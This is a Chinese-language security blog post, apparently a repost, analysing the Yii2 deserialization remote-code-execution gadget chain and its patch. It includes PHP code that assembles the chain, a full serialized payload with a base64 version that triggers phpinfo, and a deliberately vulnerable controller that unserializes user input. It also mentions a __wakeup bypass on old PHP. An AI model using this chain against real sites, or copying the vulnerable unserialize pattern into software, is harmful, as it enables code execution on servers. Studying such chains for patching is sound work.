Yii 框架反序列化 RCE 利用链分析

Andrew 2021-02-17
专栏 - 事件 发布于 2021-02-17 02:03:36 阅读 61 评论 0

0x01.对比补丁

图片

发现在./yii2/db/BatchQueryResult.php中新增了wakeup方法,在wakeup方法中抛出了一个异常。

我们看下__wakeup方法的介绍:

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

用__wakeup()方法抛出一个异常,其实是为了防止BatchQueryResult类被反序列化。

0x02.分析利用链

其实在19年9月份,已经有师傅分析了这条利用链,结尾会放出链接。
首先看yii2/db/BatchQueryResult类中,存在__destruct方法:图片

  • 把$this->_dataReader赋值为一个没有close方法的类,调用其__call方法,从而实现代码执行

  • 把$this->_dataReader赋值为一个存在close方法的类,需要找到该close方法的调用过程中存在代码执行的调用。

图片
有23个实现了close方法的类,找到关键类:yii2/web/DbSession,代码如下:
图片

<?php

 // code from yii2/web/Session.php

 public  function getIsActive()

{

 return session_status()  === PHP_SESSION_ACTIVE;`

}

这里默认安装情况下都返回true,根据大佬描述说装了debug和gii插件,无论开不开启,都返回true。

然后跟进composeFields方法,该方法实现于它的父类:yii2/web/MultiFieldSession。
图片

所以需要找到一个拥有可以执行命令的公共方法的类,比如:yii2/rest/IndexAction类的run方法,代码如下:
图片
并且call_user_func的两个函数均可控。

利用链如下:

yii2/rest/IndexAction()  ->run()

 yii2/web/MultiFieldSession()  ->composeFields()  # 存在call_user_func,仅可控第一个参数

yii2/web/DbSession()->close()

yii2/db/BatchQueryResult()->reset()

yii2/db/BatchQueryResult()->__destruct()

0x03.通过利用链构造payload

大佬们可能有了利用链很容易构造出payload,我比较菜也是折腾了很久才搞出来。

  • 实例化一个BatchQueryResult类,并设置其属性$_dataReader

这里因为$_dataReader是私有变量,所以要写一个函数来设置该变量的值。修改yii2/db/BatchQueryResult类的代码加上:

public  function setDataReader($value){

 $this->_dataReader = $value;

 }

然后编写实例化代码:

$bqrObj = new BatchQueryResult();

实例化yii2/web/DbSession类,并将对象赋值给$bqrObj的_dataReader变量

实例化yii2/rest/IndexAction类,赋值给yii2/web/DbSession类的writeCallback变量:

//现有代码

  $bqrObj =  new  BatchQueryResult();

  $bdsObj =  new  DbSession();

  $indexAction =  new  IndexAction();

   $bdsObj -> writeCallback = array($indexAction,"run");

  $bqrObj->setDataReader($bdsObj);

 var_dump(serialize($bqrObj));

这里要注意实例化IndexAction类时,要注意其构造方法,实现于其父类的父类:\yii\base\Action类
图片
然后跟进其父类Compoent的__construct方法:
图片
继续看Yii::configure的实现:
图片
其实就是便利字典格式数据,把数据以key为变量名,value为值设置给传入的对象。


public  function actionSay($message =  'Hello')

 {

   $bqrObj =  new  BatchQueryResult();

   $bdsObj =  new  DbSession();

   $indexAction =  new  IndexAction(1,1);  //config变量非必填

   $indexAction->checkAccess =  'phpinfo';

   $bdsObj -> writeCallback = array($indexAction,"run");

   $bqrObj->setDataReader($bdsObj);

   var_dump(serialize($bqrObj));

   return $this->render('say',  ['message'  => $message]);

 }

然后访问web,如下:
图片
出错,说是$this->modelClass为空,翻看附近的代码。
图片
所以构造demo:
图片
但是:
图片

这时候想到yii2/base/Action类中的__construct方法,可以设置变量,而yii2/rest/Action是yii2/base/Action的子类,可以继承其属性和方法。
所以修改demo:
图片
图片

{O:23:"yii\db\BatchQueryResult":9:{s:2:"db";N;s:5:"query";N;s:9:"batchSize";i:100;s:4:"each";b:0;s:36:" yii\db\BatchQueryResult _dataReader";O:17:"yii\web\DbSession":13:{s:2:"db";O:17:"yii\db\Connection":37:{s:3:"dsn";s:37:"mysql:host=localhost;dbname=yii2basic";s:8:"username";s:4:"root";s:8:"password";s:0:"";s:10:"attributes";N;s:17:"enableSchemaCache";b:0;s:19:"schemaCacheDuration";i:3600;s:18:"schemaCacheExclude";a:0:{}s:11:"schemaCache";s:5:"cache";s:16:"enableQueryCache";b:1;s:18:"queryCacheDuration";i:3600;s:10:"queryCache";s:5:"cache";s:7:"charset";s:4:"utf8";s:14:"emulatePrepare";N;s:11:"tablePrefix";s:0:"";s:9:"schemaMap";a:10:{s:5:"pgsql";s:19:"yii\db\pgsql\Schema";s:6:"mysqli";s:19:"yii\db\mysql\Schema";s:5:"mysql";s:19:"yii\db\mysql\Schema";s:6:"sqlite";s:20:"yii\db\sqlite\Schema";s:7:"sqlite2";s:20:"yii\db\sqlite\Schema";s:6:"sqlsrv";s:19:"yii\db\mssql\Schema";s:3:"oci";s:17:"yii\db\oci\Schema";s:5:"mssql";s:19:"yii\db\mssql\Schema";s:5:"dblib";s:19:"yii\db\mssql\Schema";s:6:"cubrid";s:20:"yii\db\cubrid\Schema";}s:8:"pdoClass";N;s:12:"commandClass";s:14:"yii\db\Command";s:10:"commandMap";a:10:{s:5:"pgsql";s:14:"yii\db\Command";s:6:"mysqli";s:14:"yii\db\Command";s:5:"mysql";s:14:"yii\db\Command";s:6:"sqlite";s:21:"yii\db\sqlite\Command";s:7:"sqlite2";s:21:"yii\db\sqlite\Command";s:6:"sqlsrv";s:14:"yii\db\Command";s:3:"oci";s:18:"yii\db\oci\Command";s:5:"mssql";s:14:"yii\db\Command";s:5:"dblib";s:14:"yii\db\Command";s:6:"cubrid";s:14:"yii\db\Command";}s:15:"enableSavepoint";b:1;s:17:"serverStatusCache";s:5:"cache";s:19:"serverRetryInterval";i:600;s:12:"enableSlaves";b:1;s:6:"slaves";a:0:{}s:11:"slaveConfig";a:0:{}s:7:"masters";a:0:{}s:12:"masterConfig";a:0:{}s:14:"shuffleMasters";b:1;s:13:"enableLogging";b:1;s:15:"enableProfiling";b:1;s:8:"isSybase";b:0;s:30:" yii\db\Connection _driverName";N;s:34:" yii\db\Connection _queryCacheInfo";a:0:{}s:36:" yii\db\Connection _quotedTableNames";N;s:37:" yii\db\Connection _quotedColumnNames";N;s:27:" yii\base\Component _events";a:0:{}s:35:" yii\base\Component _eventWildcards";a:0:{}s:30:" yii\base\Component _behaviors";N;}s:12:"sessionTable";s:12:"{{%session}}";s:9:" * fields";a:0:{}s:12:"readCallback";N;s:13:"writeCallback";a:2:{i:0;O:20:"yii\rest\IndexAction":10:{s:19:"prepareDataProvider";N;s:10:"dataFilter";N;s:10:"modelClass";s:21:"ActiveRecordInterface";s:9:"findModel";N;s:11:"checkAccess";s:7:"phpinfo";s:2:"id";i:1;s:10:"controller";i:1;s:27:" yii\base\Component _events";a:0:{}s:35:" yii\base\Component _eventWildcards";a:0:{}s:30:" yii\base\Component _behaviors";N;}i:1;s:3:"run";}s:10:"flashParam";s:7:"__flash";s:7:"handler";N;s:30:" yii\web\Session _cookieParams";a:1:{s:8:"httponly";b:1;}s:34:" yii\web\Session frozenSessionData";N;s:30:" yii\web\Session _hasSessionId";N;s:27:" yii\base\Component _events";a:0:{}s:35:" yii\base\Component _eventWildcards";a:0:{}s:30:" yii\base\Component _behaviors";N;}s:31:" yii\db\BatchQueryResult _batch";N;s:31:" yii\db\BatchQueryResult _value";N;s:29:" yii\db\BatchQueryResult _key";N;s:49:" yii\db\BatchQueryResult mssqlNoMoreRowsErrorCode";i:-13;}

0x04.构造有存在漏洞的demo验证

修改根目录下的controllers/SiteController.php文件,添加一代码:

public  function actionSay($message =  'Hello')

   {

   $data = base64_decode($message);

   unserialize($data);

  return $this->response($data);

 }

将payload进行base64编码:

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjk6e3M6MjoiZGIiO047czo1OiJxdWVyeSI7TjtzOjk6ImJhdGNoU2l6ZSI7aToxMDA7czo0OiJlYWNoIjtiOjA7czozNjoiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF9kYXRhUmVhZGVyIjtPOjE3OiJ5aWlcd2ViXERiU2Vzc2lvbiI6MTM6e3M6MjoiZGIiO086MTc6InlpaVxkYlxDb25uZWN0aW9uIjozNzp7czozOiJkc24iO3M6Mzc6Im15c3FsOmhvc3Q9bG9jYWxob3N0O2RibmFtZT15aWkyYmFzaWMiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czowOiIiO3M6MTA6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jtzOjMwOiIAeWlpXHdlYlxTZXNzaW9uAF9oYXNTZXNzaW9uSWQiO047czoyNzoiAHlpaVxiYXNlXENvbXBvbmVudABfZXZlbnRzIjthOjA6e31zOjM1OiIAeWlpXGJhc2VcQ29tcG9uZW50AF9ldmVudFdpbGRjYXJkcyI7YTowOnt9czozMDoiAHlpaVxiYXNlXENvbXBvbmVudABfYmVoYXZpb3JzIjtOO31zOjMxOiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2JhdGNoIjtOO3M6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfdmFsdWUiO047czoyOToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF9rZXkiO047czo0OToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AG1zc3FsTm9Nb3JlUm93c0Vycm9yQ29kZSI7aTotMTM7fQ==

图片

0x05.补丁绕过分析

可参考CVE-2016-7124漏洞php的__wakeup方法绕过。

  • PHP5 < 5.6.25

  • PHP7 < 7.0.10

也就是说在低版本的php当中,可能会造成补丁失效,暂未测试。

原创: AdminTony
原文链接:https://mp.weixin.qq.com/s/dZNkPToBaU1BcrF...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!